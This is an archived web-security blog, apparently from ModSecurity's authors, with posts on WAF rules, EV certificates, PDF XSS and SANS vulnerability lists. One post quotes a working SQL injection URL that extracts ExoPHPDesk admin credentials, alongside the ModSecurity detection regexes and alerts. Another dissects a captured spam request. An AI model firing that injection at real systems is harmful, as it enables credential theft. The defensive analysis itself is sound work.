&textfield5=Namibia%2C%20Guangzhou&textfield6=http%3A%2F%2Fahsjh%2Efreephpwebhosting%2Enet%2Fmap8%2E
html&textfield22=http%3A%2F%2Fahsjh%2Efreephpwebhosting%2Enet%2Fmap8%2Ehtml HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: en
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Referer: http://www.mehdiplugins.com/misc/phpbbjoomhack.htm
Host: www.mehdiplugins.com

If you URL Decode this text, you will get the following:

GET http://www.mehdiplugins.com/misc/phpbbjoomhack.htm?textfield=Your site was so interesting and informative I had to call a friend to tell her about it. Great work
 <a href=http://nwhjl.free-site-host.com/map4.html > My Best Links   <a href=http://nwhjl.free-site-host.com/map2.html > top links   <a href=http://ahsjh.freephpwebhosting.net/map8.html > favourite links   <a href=http://ahsjh.freephpwebhosting.net/map7.html > Links  
 [url=http://members.lycos.co.uk/dfska/map3.html] top links [/url]  [url=http://kersnm.awesomewebspace.com/map3.html] best links [/url]  [url=http://nwhjl.free-site-host.com/map5.html] My Links [/url]  [url=http://nwhjl.free-site-host.com/map1.html] my favourite links [/url]  [url=http://kersnm.awesomewebspace.com/map6.html] Links [/url] &textfield2=Michalis&textfield3=if( md5($password) == $row['user_password'] && $row['user_active'] )&textfield4=Your site was so interesting and informative I had to call a friend to tell her about it. Great work
 <a href=http://nwhjl.free-site-host.com/map4.html > My Best Links   <a href=http://nwhjl.free-site-host.com/map2.html > top links   <a href=http://ahsjh.freephpwebhosting.net/map8.html > favourite links   <a href=http://ahsjh.freephpwebhosting.net/map7.html > Links  
 [url=http://members.lycos.co.uk/dfska/map3.html] top links [/url]  [url=http://kersnm.awesomewebspace.com/map3.html] best links [/url]  [url=http://nwhjl.free-site-host.com/map5.html] My Links [/url]  [url=http://nwhjl.free-site-host.com/map1.html] my favourite links [/url]  [url=http://kersnm.awesomewebspace.com/map6.html] Links [/url] &textfield32=if( md5($password) == $row['user_password'] && $row['user_active'] )&textfield5=Namibia, Guangzhou&textfield6=http://ahsjh.freephpwebhosting.net/map8.html&textfield22=
http://ahsjh.freephpwebhosting.net/map8.html HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: en
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Referer: http://www.mehdiplugins.com/misc/phpbbjoomhack.htm
Host: www.mehdiplugins.com

The URL-decoded data makes it much easier to visually identify what the client was trying to do. This appears to be a SPAMMER show is sending their data to this destination in the hopes that it will be posted to the comment site where user will see it.

The bolded portion of the data triggered a ModSecurity Core Rule for Blind SQL Injection and generated this alert message:

Message: Access denied with code 200 (phase 2). Pattern match "\\b(?:(?:s(?:ys(?:(?:(?:process|tabl)e|filegroup|object)s|c
(?:o(?:nstraint|lumn)s|at)|dba|ibm)|ubstr
(?:ing)?)|user_(?:(?:(?:constrain|objec)t|tab(?:_column|le)|
ind_column|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)
|object_(?:(?:nam|typ)e|id) ..." at ARGS:textfield3. [id "950904"] [msg "Blind SQL Injection Attack. Matched signature <user_password>"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/4.5"] [tag "OWASP/A6"] [tag "PCI/6.5.6"]

So, the matched portion of the text was this:

if( md5($password) == $row['user_password'] && $row['user_active'] )

What is this attempting to do? It appears that the SPAMMER is attempting to Bypass Authentication for the PHPBB form page. This actually makes sense when you think about it from a spammer's perspective. What is easier and less resource intensive? To either actually register for accounts on these sites to then allow them to post or to include this Blind SQL Injection Authentication Bypass string and not have to worry about authenticating at all? The later it seems is the case.

Update

We had more time to review this specific transaction and it appears to be a False Positive. It is not that the rule triggered on something that it shouldn't have, but rather that this was not an actual Blind SQL Injection attack.

The string that was matched is actually a PHP code snippet that was present in the page. It seems that the SPAMMER's script automatically included all of the hidden arguments in their request. I guess that instead of taking the time to code in the proper intelligence as to what fields are required for their request, it is just easier to "throw the kitchen sink" at it and included everything. Most web apps will not error out with extra parameters, however they will if you are missing require elements.

As a side note, at the same time were were conducting this internal analysis, we did recieve some feedback from the public re-affirming this theory (thanks kuza55 by way of Jeremiah Grossman's Blog). This does raise an important issue - we need help with data analysis! If you are interested in participating in the WASC honeypot project (even if you don't want to deploy an actual honeypot) then please let me know and we will get you signed up for the project mail-list. This way, we can get more eyes on these alerts for validation.

Posted by rcbarnett at 03:45 PM

Web Services Security

Posted by rcbarnett on August 31, 2007.

NIST has released a new guide on securing Web Services. It is a pretty good read for anyone who is planning to run WS, specifically Appendix A which lists Common WS Attack categories such as:

Protecting Web Services with ModSecurity

If you compile ModSecurity 2.x with XML support (with libxml2) and activate the libxml2.so file in httpd.conf, you can gain some protection for your WS traffic. While ModSecurity can not prevent every WS attack category listed above, it can certainly help to prevent a large number of the common HTTP attacks that now simply riding in the XML payloads.

XML Support in the Core Rules

Version 1.4 build 2 of the Core Rules introduced support for inspecting the the XML payloads of Web Services transactions. You can identify this by the inclusion of the XML:/* data in the variable listing. An example rule is listed below:

# Email Injection
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/* "[\n\r]\s*(?:to|bcc|cc)\s*:.*?\@" \
        "t:none,t:lowercase,t:urlDecode,capture,ctl:auditLogParts=+E,log,auditlog,msg:'Email Injection Attack. Matched signature <%{TX.0}>',,id:'950019',severity:'2'"

Since the Core Rules offers generic detection and does not tie specific attack payloads to specific parameters, the XML:/* variable is somewhat similar to the REQUEST_BODY payload in that ModSecurity will treat it as one large piece of data. This results in ModSecurity searching the entire XML payload looking for rule matches. For those ModSecurity users who are familiar with the 1.9.x branch, this is similar to the SecFilter rule processing where it performs a wider search for attacks as it does not know exactly where the input vectors are located. The side-effect is that there may be a performance hit if you WS XML payloads are large. If this is the case in your environment, they you will want to create some custom XML rules.

Custom XML Rules

ModSecurity can also be used to create custom rules for your WS application. Not only will this make the protection stronger and lowering the false positive rate, but you will also gain a performance boost when you specify full XPath locations in the variable list vs. the generic XML:/* variable that the Core Rules utilizes. We have created a use-case document entitled Securing Web Services with ModSecurity2 that will help to provide you with some examples of how to setup custom WS rules. Taking the previous Core Rule example, if we customize it for our WS application that is running at "/axis/getBalance.jws" and has one input parameter called "id", then the new rule would look something like this -

<Location /axis/getBalance.jws>
SecRule XML:/soap:Envelope/soap:Body/q1:getInput/id/text() "[\n\r]\s*(?:to|bcc|cc)\s*:.*?\@" \
"t:none,t:lowercase,t:urlDecode,capture,ctl:auditLogParts=+E,log,auditlog,xmlns:soap=http:// \
schemas.xmlsoap.org/soap/envelope/,xmlns:q1=http://DefaultNamespace,msg:'Email Injection Attack. Matched signature <%{TX.0}>',id:'950019',severity:'2'"
</Location>

Notice the bolded portions of the ruleset where we have updated the XML variable to include a full XPath to our "id" input parameter and we also specified two xmlns actions to help ModSecurity to appropriately parse the payload.

Posted by rcbarnett at 03:07 PM

Extended Validation Certificates: A Change for the Better (But Not Enough)

Posted by ivanr on June 15, 2007.

On June 12th, 2007, the CA/Browser Forum (a group that consists of leading certificate authorities and browser vendors) ratified the first version of the Extended Validation (EV) SSL Guidelines. The goal of the guidelines is to introduce a new type of certificate, Extended Validation Certificate, with intent to standardise the certificate issuance process.

Those of you that remember the early days of SSL certificates will find that the "new" process is pretty much identical to the one we had to undergo years ago. Things such as verifying legal existence, identity, registration number, right to use the domain name--are all there. There is one crucial difference, though. This time the process is mandatory whereas before, it turns out, it was merely a matter of choice. No wonder the quality of the vetting had deteriorated over the years as companies fought for the market by lowering prices.

There are many who do not like the new Extended Validation Certificates. They usually say the new type of certificate will not solve our problems. And that they are merely a way for the certificate authorities to extract more money from their customer base. While I agree with the former, I do not necessarily agree with the latter (but this is not to say the CAs will not be happy to collect the extra funds).

The point is that a solid vetting process should have been a mandatory requirement from the start. The fact that we missed the opportunity to do the right thing then does not mean we have to continue living with the mistake. It is true--the new certificate does fall short of solving our problems. But, guess what, that was never the intention. Citing from the EV Certificate Guidelines (page 13):

(c) Excluded Purposes EV Certificates focus only on the identity of the Subject named in the Certificate, and not on the behavior of the Subject. As such, an EV Certificate is not intended to provide any assurances, or otherwise represent or warrant:
  1. That the Subject named in the EV Certificate is actively engaged in doing business;
  2. That the Subject named in the EV Certificate complies with applicable laws;
  3. That the Subject named in the EV Certificate is trustworthy, honest, or reputable in its business dealings; or
  4. That it is "safe" to do business with the Subject named in the EV Certificate.

SSL certificates have nothing to do with trust. (Admittedly, it's a fact we didn't fully appreciate when they were introduced.) Their purpose is simply to identify the party on the other side of the communication channel. For trust we need to turn to other methods. Actually, we developed perfectly good methods to do this in real life. For example, most people take into account the brand name of the store or that of the manufacturer. You are going to be very comfortable buying from Amazon because you know the company. By the same token, you are probably going to think twice before buying from a badly-designed, badly-built web site you've just run across.

There is one aspect where Extended Validation Certificates fall short, and that's the implementation and the changes in the browser user interfaces. To accommodate the new type of certificate browsers have resorted to displaying the sites protected with such certificates in a slightly different way. There are two problems with this. One is that a normal user stands to gain very little from the change. The other is that, even for the small gain that can be achieved, a huge marketing effort is going to be required to explain the difference. This effort is not only going to be expensive but also take time--a lot of time. It something we can successfully do maybe once or twice in a decade. The EV Certificates are simply not worth it.

A far better solution would have been to, slowly and quietly, reform the certificate issuance process. Let the old certificates expire and start issuing better ones today. While that is happening figure out a way to deal with our real problems and inform the normal Internet users only once we are happy we've done the right thing.

Posted by ivanr at 09:11 AM

Universal PDF XSS Revisited

Posted by ivanr on June 12, 2007.

The Universal PDF XSS vulnerability was a tipping point for most people involved with web application security. Now we know the Web will never be secure for as long we continue to use the exact same technologies we have in use today.

It so happened that I was swamped with work back in January when the news about the Universal PDF XSS had broken out. I kept my eye on the topic during the initial discovery period but I went back to it a month later to give it the attention it deserves. I discovered that the topic received a tremendous amount of interest initially but that the interest died shortly thereafter. The vulnerability was old news in February although there was much more to say.

My presentation, Protecting Web Applications from Universal PDF XSS, aims to be the one place where you can learn everything you need to know about this problem. It also points to an emerging trend of collaborative vulnerability research and briefly discusses its advantages and disadvantages. (As a sidenote, I find the trend very exciting and will probably revisit the topic here again.)

I gave the presentation at the OWASP conference in Milan in May but it has been updated since (so don't download it from the conference agenda page). You can download the latest version on the OWASP web site, from the web page dedicated to the problem. I will be giving the same talk later this month (June 22) for the OWASP Belgium-Luxemburg chapter.

Posted by ivanr at 02:23 PM

Webinar Featuring WHID on the Top Trends in Web Application Threats

Posted by ofer on April 02, 2007.

On April 11th I’m going to present a webinar on web application security, with a twist. The Webinar will outline the top threats to web sites in 2006 and will predict the trends of web attacks for 2007, but while most discussions of web site security vulnerabilities traditionally focused on the technical complexity of these attacks this time I will try to focus on the business impact of the vulnerabilities.

The traditional “techie” approach is to an extent based on “fear factor” and does not provide tools to assess the risk associated with web application vulnerabilities and therefore the effort and resources required to mitigate them.

This WebEx will use the Web Hacking Incident Database to prioritize web based attacks based on their actual business impact by examining past web site break-ins. The presentation will unveil a major upgrade to the Web Hacking Incident Database project, a Web Application Security Consortium project that documents known web site security incidents. The new upgrade will add business impact information to each incident in addition to the technical information available today.

The WebEx is targeted both at decision makers faced with the dilemma of budgeting web application security mitigation as well as consultants & security professionals tasked with performing risk assessment to web sites and web based applications.

Further details and registration at Breach Security Webinar Center

Posted by ofer at 01:55 PM

Testing Core Rules Protection For An Example SQL Injection Vulnerability

Posted by rcbarnett on February 06, 2007.

SANS released their 6th edition of the @RISK Weekly News Letter. In it, there were a total of 44 new web application vulnerabilities identified. Keep in mind that almost all of these vulnerabilities (I didn't get a chance to verify each and everyone of them) can be mitigated with the use of the Core Rules. For example, take this specific vulnerability:

07.6.37 CVE: Not Available
Platform: Web Application - SQL Injection
Title: ExoPHPDesk FAQ.PHP SQL Injection
Description: ExoPHPDesk is a web-based help desk application. It is
prone to an SQL injection issue because it fails to sufficiently
sanitize user-supplied data to the "id" parameter of the "faq.php"
script before using it in an SQL query. ExoPHPDesk versions 1.2.1 and
earlier are affected.
Ref: http://www.securityfocus.com/bid/22338

If you go to the SecurityFocus page and click on the "exploit" link you will see this example URL attack:

http://www.example.com/faq.php?action=&type=view&s=&id=-1'%20union%20select%200,concat(char(85),char(115),
char(101),char(114),char(110),char(97),char(109),char(101),char(58),name,char(32),char(124),char(124),char(32),
char(80),char(97),char(115),char(115),char(119),char(111),char(114),char(100),char(58)
,pass),0,0,0,0,0%20from%20phpdesk_admin/*

If you were to send this request to a host that is protected by ModSecurity + the most recent release of the Core Rules, it would be identified by the following rule -

# SQL injection
SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|!REQUEST_HEADERS:Referer "(?:\b(?:(?:s(?:elect\b(?:.{1,100}?
\b(?:(?:length|count|top)\b.{1,100}?\bfrom|from\b.{1,100}?\bwhere)|.*?\b(?:d(?:ump\b.*\bfrom|ata_type)|(?:to_(?:numbe
|cha)|inst)r))|p_(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebtask)|ql_(?:longvarchar|var
iant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|e(?:xecresul
tset|numdsn)|(?:terminat|dirtre)e|availablemedia|loginconfig|cmdshell|filelist|makecab|ntsec)|u(?:nion\b.{1,100}?\bse
lect|tl_(?:file|http))|group\b.*\bby\b.{1,100}?\bhaving|load\b\W*?\bdata\b.*\binfile|(?:n?varcha|tbcreato)r|autonomou
s_transaction|open(?:rowset|query)|dbms_java)\b|i(?:n(?:to\b\W*?\b(?:dump|out)file|sert\b\W*?\binto|ner\b\W*?\bjoin)\
b|(?:f(?:\b\W*?\(\W*?\bbenchmark|null\b)|snull\b)\W*?\()|(?:having|or|and)\b\s+?(?:\d{1,10}|'[^=]{1,10}')\s*?[=<>]+|(
?:print\]\b\W*?\@|root)\@|c(?:ast\b\W*?\(|oalesce\b))|(?:;\W*?\b(?:shutdown|drop)|\@\@version)\b|'(?:s(?:qloledb|a)|m
sdasql|dbo)')" \
"capture,t:replaceComments,ctl:auditLogParts=+E,log,auditlog,
msg:'SQL Injection Attack. Matched signature <%{TX.0}>',id:'950001',severity:'2'"

The resulting alert message would look like this:

[Wed Jan 17 11:01:16 2007] [error] [client 192.168.10.10] ModSecurity: Warning. Pattern match
"(?:\\\\b(?:(?:s(?:elect\\\\b(?:.{1,100}?\\\\b(?:(?:length|count|top)\\\\b.{1,100}?\\\\bfrom|
from\\\\b.{1,100}?\\\\bwhere)|.*?\\\\b(?:d(?:ump\\\\b.*\\\\bfrom|ata_type)|(?:to_(?:numbe|cha)|
inst)r))|p_(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebt ..." at
ARGS:id. [id "950001"] [msg "SQL Injection Attack. Matched signature <union select>"] [severity "CRITICAL"]
[hostname "www.example.com"] [uri "/faq.php?action=&type=view&s=&id=-1'%20union%20select%200,concat(char(85),
char(115),char(101),
char(114),char(110),char(97),char(109),char(101),char(58),name,char(32),char(124),char(124),
char(32),char(80),char(97),char(115),char(115),char(119),char(111),char(114),char(100),char(58)
,pass),0,0,0,0,0%20from%20phpdesk_admin/*"] [unique_id "lqn99sCoChsAAHpfWokAAAAA"]

One very important note here:
By default, this SQL Injection rule is inheriting the following SecDefaultAction directive in the modsecurity_crs_40_general_attacks.conf file -

SecDefaultAction "log,pass,phase:2,status:500,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

This means that while it did identify the attack, it did not block it. Your best course of action when implementing Core Rules is to run it with - SecRuleEngine DetectionOnly - until you have verified that there are no false positives in your environment. Afterwhich, you should change the SecDefaultAction settings within the rules files to actually use the "deny" action in order to prevent the attacks.

It is a good idea to periodically test out these types of exploit requests to ensure that your ModSecurity installation is functioning properly.

Posted by rcbarnett at 09:15 PM

Weekly SANS @RISK Web Vulnerabilities List & Mitigation Steps

Posted by rcbarnett on January 29, 2007.

This is a listing of Web Application Vulnerabilities that were released by SANS in their @RISK newsletter yesterday -

--------------
Summary of the vulnerabilities reported this week:
--------------
-- Web Application - Cross Site Scripting (8)
07.5.44 - ezDatabase Login.PHP Cross-Site Scripting
07.5.45 - Openads phpAdsNew Admin-Search.PHP Cross-Site Scripting
07.5.46 - 212cafeBoard Multiple Cross-Site Scripting Vulnerabilities
07.5.47 - Bitweaver Articles and Blogs Multiple Cross-Site Scripting Vulnerabilities
07.5.48 - 212Cafe Guestbook Show.PHP Cross-Site Scripting
07.5.49 - Openads for PostgreSQL Unspecified Cross-Site Scripting
07.5.50 - PostNuke Reviews Index.PHP Cross-Site Scripting
07.5.51 - Sabros.US Index.PHP Cross-Site Scripting

-- Web Application - SQL Injection (10)
07.5.52 - Makit Newsposter Script News_Page.ASP SQL Injection
07.5.53 - GPS CMS Print.ASP SQL Injection
07.5.54 - ASP News News_Detail.ASP SQL Injection
07.5.55 - ASP Edge User.ASP SQL Injection
07.5.56 - Drupal Acidfree Module Node Title SQL Injection
07.5.57 - Website Baker Login.PHP SQL Injection
07.5.58 - FishCart Olst Parameter SQL Injection
07.5.59 - Unique Ads Banner.PHP SQL Injection
07.5.60 - PHP-Nuke Multiple SQL Injection Vulnerabilities
07.5.61 - Joomla CMS Multiple SQL Injection Vulnerabilities

-- Web Application (34)
07.5.62 - CGI Rescue WebForm Multiple Input Validation Vulnerabilities
07.5.63 - High5 Review Script Search Field HTML Injection
07.5.64 - Virtual Path PHPBB Module Configure.PHP Remote File Include
07.5.65 - Digitalxero Xero Portal PHPBB_Root_Path Multiple Remote File Include Vulnerabilities
07.5.66 - Drupal Project and Project Issues Tracking Modules Multiple Vulnerabilities
07.5.67 - Community Server Pingback SourceURI Denial of Service and Information Disclosure
07.5.68 - AWFFull Unspecified Multiple Buffer Overflow Vulnerabilities
07.5.69 - Virtual Host Administrator Modules_Dir Remote File Include
07.5.70 - Wordpress Pingback SourceURI Denial of Service and Information Disclosure
07.5.71 - RPW Config.PHP Remote File Include
07.5.72 - phpXD Path Remote File Include
07.5.73 - MyBB Private.PHP HTML Injection
07.5.74 - MaklerPlus Multiple Unspecified Vulnerabilities
07.5.75 - Mini Web Server Unspecified Multiple Buffer Overflow Vulnerabilities
07.5.76 - BBClone Selectlang.PHP Remote File Include
07.5.77 - Yana Framework Guestbook Unspecified Security Bypass
07.5.78 - Vote! Pro Multiple PHP Code Execution Vulnerabilities
07.5.79 - PHP Link Directory Link Submission HTML Injection
07.5.80 - Zomp Index.PHP Local File Include
07.5.81 - PHPIndexPage Config.PHP Remote File Include
07.5.82 - Neon Labs Website NL.PHP Remote File Include
07.5.83 - XMB MemCP.PHP HTML Injection
07.5.84 - PHPSherpa Racine Parameter Remote File Include
07.5.85 - Upload Service Remote File Include
07.5.86 - Mafia Scum Tools Index.PHP Remote File Include
07.5.87 - WebChat Remote File Include
07.5.88 - Bradabra Includes.PHP Remote File Include
07.5.89 - Easebay Resources Paypal Subscription Manager Multiple Input Validation Vulnerabilities
07.5.90 - Easebay Resources Login Manager Multiple Input Validation Vulnerabilities
07.5.91 - SMF Index.PHP HTML Injection
07.5.92 - DocMan Multiple Input Validation Vulnerabilities
07.5.93 - ArsDigita Community System Directory Traversal
07.5.94 - VirtueMart Joomla ECommerce Edition Multiple Unspecified Input Validation Vulnerabilities
07.5.95 - WebGUI Registration Username HTML Injection

--------------
Mitigation Steps:
--------------
It is important to note that if you are running any of these web applications, you should do the following:

1) Check on the reference links for each vulnerability (SecurityFocus site, etc...) and verify if a patch is available. If one is, then proceed with implementing the patch ASAP.

2) Run a few tests to see if the example expoit code might be already captured by the current ModSecurity Core Rules files. There are already many different XSS/SQL Injection rules that probably would block the vast majority of these 2 categories of issues. If the Core Rules do not block these issues, then proceed to #3 (Virtual Patching).

3) Whether a patch is available or not, you should attempt to implement a ModSecurity "Virtual Patch" for the vulnerability. You can go about this in one of two ways -

First, the vulnerability information on SecurityFocus usually include an "exploit" tab for each vulnerability where exploit details/proof of concept code is often provided. You can take the example exploit code and then create a corresponding patch. The patch can either be a negative filter that blocks the underlying vulnerability vector. You can also, optionally, create a positive filter that will only allow acceptable character sets/lengths, etc...

Second, you can optionally head on over to the Snort.org site to see if they have released an IDS signatures for these vulnerabilities. If they have, you can then take the content/uricontent/pcre portions of the sigs and translate them into analagous ModSecurity rules.

Posted by rcbarnett at 07:25 PM

Top 10 Web Hacks of 2006

Posted by ivanr on January 22, 2007.

Jeremiah Grossman gives an excellent overview of the top Web hacks of 2006. If you haven't been following the events as they unfolded last year this presentation alone will help you catch up.

Posted by ivanr at 03:40 PM

Secure Browsing Mode Proposal

Posted by ivanr on June 27, 2006.

It's very well known (and even widely accepted) that our current web application deployment model suffers from multiple security problems. We've done a lot to mitigate these problems over the years but there is only so much one can do when building on an insecure foundation. I have kept a list of things I'd like to see changed - I wrote about it this time last year.

Since then I placed my ideas in a somewhat coherent form and give it a name - Secure Browsing Mode. From the document:

It is widely accepted today that web applications are inherently insecure. A lot of energy was invested in the past years into making web applications more secure, but there is only so much we can do with the fundamentally insecure foundation. This brief document proposes a set of possible browser improvements that would allow us to establish, gradually, a secure environment for web applications.

Download PDF: Secure Browsing Mode

Posted by ivanr at 10:01 AM

Archive of Amit Klein's Work

Posted by ivanr on February 06, 2006.

Amit Klein is at it again with the release of his new paper Domain Contamination. The paper discusses how the HTTP caching mechanisms we have in wide use today work equally well for distribution and preservation of malicious content.

In case you are not familiar with Amit's work, he is one of the most productive web application security researchers I know. But up until last week there was not a single place where you could find his papers. So I decided to collect them and upload them to http://www.modsecurity.org/archive/amit/. (With his permission, of course.)

Posted by ivanr at 10:18 AM

Threat Modelling Resources

Posted by ivanr on January 26, 2006.

I will be at the Institute of Directors tomorrow, giving a talk on threat modelling for the White Hats user group (full title of the talk: "Threat Modelling for Web Application Deployment"). As I was preparing for the talk I thought it would be a good idea to post the list of threat modelling resources online, for myself and for the others.


Posted by ivanr at 09:40 PM

Web application firewalls primer

Posted by ivanr on January 25, 2006.

(IN)SECURE Magazine Issue 1.5 has just been published. I wrote the cover story, titled "Web application firewalls primer". There are two sides to the article. In the first half I deal with the name web application firewall itself, and with the functionality behind the name. The second half is more straight-forward; it lists the most important features present in today's web application firewalls. Check it out!

Posted by ivanr at 03:36 PM

Web Application Firewall Evaluation Criteria v1 Released

Posted by ivanr on January 17, 2006.

The Web Application Firewall Evaluation Criteria (WAFEC) v1.0 has been released over the weekend. You can get it from here. WAFEC is a well-rounded effort to enumerate the features of web application firewalls (WAFs). I managed the project, but the work is a result of collaboration between many WAF vendors, WAF users, and security professionals. With WAFs being a very diverse subject getting a diverse group of people together was key to producing a good document. I am very happy v1.0 is out; we've been working on it for the largest part of 2005.

This document is a *must-read* if your intend to incorporate a WAF into your architecture (or consider it). It will not only help decide between the available offerings but it will also help you understand how is that these devices are protecting you. For more information go and fetch the document itself. You can also read through this NetworkWorld article. Or the press release.

Posted by ivanr at 02:41 PM

ModSecurity for Apache 1.9 has been released!

Posted by ivanr on November 09, 2005.

Finally. I already wrote about many new features available in this release. Relieved from the pressure caused by a long delay between stable releases I can now go and add more features. (Goes away and looks at the TODO list.) Some of the things that are likely to find their way into ModSecurity in the near future are:

Hmmm, I wonder which of these I should do first. Have your say!

Posted by ivanr at 12:13 AM

Draft from the Web Application Firewall Evaluation Criteria project

Posted by ivanr on October 13, 2005.

The web application firewall (WAF) market is a bit confusing at the moment since it is not clear exactly what WAF means. For a typical end-user it is not always easy to figure out what a WAF is supposed to do and, especially, how effective a WAF could be in solving a specific problem. Perhaps most emerging markets are like this. The tools are created out of necessity and because of the market demand. It is probably not possible to provide a very good definition in the early days.

Earlier this year we (the Web Application Security Consortium) invited a large team of security professionals to form a project with an aim to better define the web application firewall market. The Web Application Firewall Evaluation Criteria project was born. I am happy to announce that we have just made our first release. So far we have covered the following categories:

Of course, this is just the beginning. The main purpose of our first release (officially called "Draft 1") is to invite the public to comment. If you care about web application firewalls then please give the draft a look and send us your thoughts. Better still, come and join us.

Posted by ivanr at 01:17 PM

Being appreciated feels really good

Posted by ivanr on September 06, 2005.

I received a heart-warming email from Roshen Chandran the other day: "A quick note to tell you I thoroughly enjoyed reading Apache Security. We have also made it part of our internal training program here at Paladion. --Roshen". It feels good to be appreciated. Roshen also pointed me to the Apache Security review on Palisade. A positive review aside, I was really pleasantly surprised with Palisade. It is a monthly online magazine that focuses on application security. The content is excellent, but the design and the format are fantastic. I urge you to have a look.

Posted by ivanr at 09:48 AM

Portable Web Application Firewall Rule Format News

Posted by ivanr on August 23, 2005.

As some of you may know, I've been working on the portable web application firewall (WAF) rule format for ages. I really believe the concept has potential so I keep coming back to it, making it a little bit better on every visit. At the same time I am closely listening to the WAF market, hoping to jump in with the format just at the right time. Although I can (and will) implement the format in ModSecurity, what I really want is to get as many WAF vendors on board to support the format. That may not be the easiest thing to do so the timing is of real importance.

The idea behind the project is to design a portable WAF rule format capable of "fixing" the known security issues in web applications. While the only proper solution is always to fix the root cause of a security issue, we must acknowledge that the fix can not be implemented straight away (for all sorts of reasons, some legal, some technical, some practical). It is all about minimising the window of opportunity - we want to be able to prevent exploitation of a vulnerability practically as soon as it is discovered.

There are four usage scenarious (I am using the term recipe to refer to a unit of knowledge that contains enough information to prevent vulnerability from being exploited):

  1. Vendor-provided recipes; While vendors may very well provide prompt upgrades and patches, not everyone can upgrade swiftly. Vendors may come to recognise this and decide to release protection recipes at the same time with the upgrades.
  2. Third-party recipes; Providing there is strong demand, third-parties may decide to offer protection recipes, for free or for a fee.
  3. Recipes written by hand; Larger environments may have many different brands of protection devices on their networks. Promoting a single format would enable knowledge to be shared in such environments.
  4. Automated recipe generation; It is sometimes not feasible nor practical to manually assess security in web applications. It is possible to get assessment tools to talk directly to protection devices. A web vulnerability scanner that discovers a problem is likely to know enough about it to be able to create a recipe as a temporary measure. Such recipe could be installed manually, or after it is review by the system administrator or the application developer.

Several big improvements were made to the format in the last iteration:

To conclude, the project is now close to its first official release. Allowing some time for feedback from the interested parties, in the next step a "release candidate" specification will be released at the same time as the Java-based reference implementation.

Posted by ivanr at 09:37 AM

Improvements to the Servlet specification

Posted by ivanr on August 08, 2005.

A while ago Greg Murray (the Servlet specification lead) asked for ideas for Servlet improvements. I generally like the Servlet specification, but it seems that it is easy to encounter its limitations if you are trying to do things others have not tried before. My ideas for improvements come from my work on the Java version of ModSecurity (still work in progress):

Posted by ivanr at 11:21 AM

Web Security Improvement Ideas

Posted by ivanr on July 11, 2005.

I have been keeping a list of web security improvement ideas for some time now. It's a list that does not contain only my ideas but thoughts I picked up from others over the years. I have been showing the list to others lately, so I thought it would be a good idea to post it online too. I am posting it here straight from my notebook (you can probably tell from the lack of structure).

With some more work the proposed changes could help us with XSS, session hijacking, CSRF, and phishing. I think the improvements are entirely feasible, although realising them is no small task. The real question in my mind, though, is whether these improvements are sufficient to "solve" the problem of web security in its entirety. (Or at least be future-proof, i.e. compatible with future improvements that may be required.)

Posted by ivanr at 01:53 PM

More on impedance mismatch

Posted by ivanr on June 10, 2005.

Recently there has been increased interest in the impedance mismatch problem, which occurs between multiple layers of a HTTP stack (e.g. proxy/security/web server) when they interpret HTTP differently. If you recall, I wrote about it in March. Shortly after Sverre talked about his worries: Incompatible Parameter Parsing. Then, a few days ago, Watchfire released a detailed analysis of how to smuggle two requests in a transaction where there should be only one: HTTP Request Smuggling. Finally, yesterday Amit Klein posted a message to the web security list, subtitled "A survey of new attacks on the less explored parts of the web application".

This topic is of great interest to security professionals that work with HTTP (who isn't nowadays!). The more we talk about it the greater the understanding of the strengths and the weaknesses of layered approach to application protection. To the end users, this is another clear message they should work to deploy secure applications in the first place.

Posted by ivanr at 09:52 AM

The future of web application firewalls

Posted by ivanr on June 07, 2005.

It always pays off to visit Richard Bejtlich's blog once in a while. (Or, even better, subscribe to his RSS feed and get updated in real-time.) A short visit today uncovered a plethora of information relevant to web application security and web application firewalls.

First, there is this post, where Richard shares a few thoughts from his discussion with Marcus Ranum, on the subject of proxies as security devices (which is what web application firewalls are).

Something Marcus said stroke a cord with me (emphasis mine):

"Proxies keep cropping up over and over, because they are fundamentally a sound idea. Every so often someone re-invents the proxy firewall - as a border spam blocker, or a 'web firewall' or an 'application firewall' or 'database gateway' - etc. And these technologies work wonderfully. Why? Because they're a single point where a security-conscious programmer can assess the threat represented by an application protocol, and can put error detection, attack detection, and validity checking in place."

You should also read Marcus' thoughts on deep packet inspection firewalls. Proxy-based application firewalls were hot stuff a decade or so ago but they lost to network firewalls. They came back to fashion as "web application firewalls" because of terrible insecurities present in most web applications today.

The other interesting post discusses the convergence of application firewalls and network firewalls, in response to the extensive coverage of network firewalls at the Network Computing magazine. The basic sentiment is that application firewalls and intrusion prevention are just network firewall features, and that customers simply do not want or need to run two devices.

Posted by ivanr at 09:36 AM

AppSec Europe 2005 Slides Available Online

Posted by ivanr on April 25, 2005.

The slides from the OWASP AppSec Europe 2005 conference are now available online. All the sessions are excellent, but I'd like to bring a couple to your attention.

Jeff Williams, the OWASP Chair, gave a talk called OWASP Status / Reorganization, but he spent more time discussing the fundamental application security problems we are facing today. Very effectively, comparing application security to the past of the automobile market, he explained where we are, and gave some ideas where we might want to go. The star of the presentation is the idea to force vendors to explicitly declare the level of security of their applications. (The label to the right is from the presentation. It provoked a healthy laugh and an applause from the audience when it appeared on the screen.) I must say, this is a *very* interesting idea. Provided a nice list of guidelines exists (OWASP is certainly capable of drafting such a list), this approach could force the vendors to come out in the open. I also like the idea of third-party certification for this kind of thing.

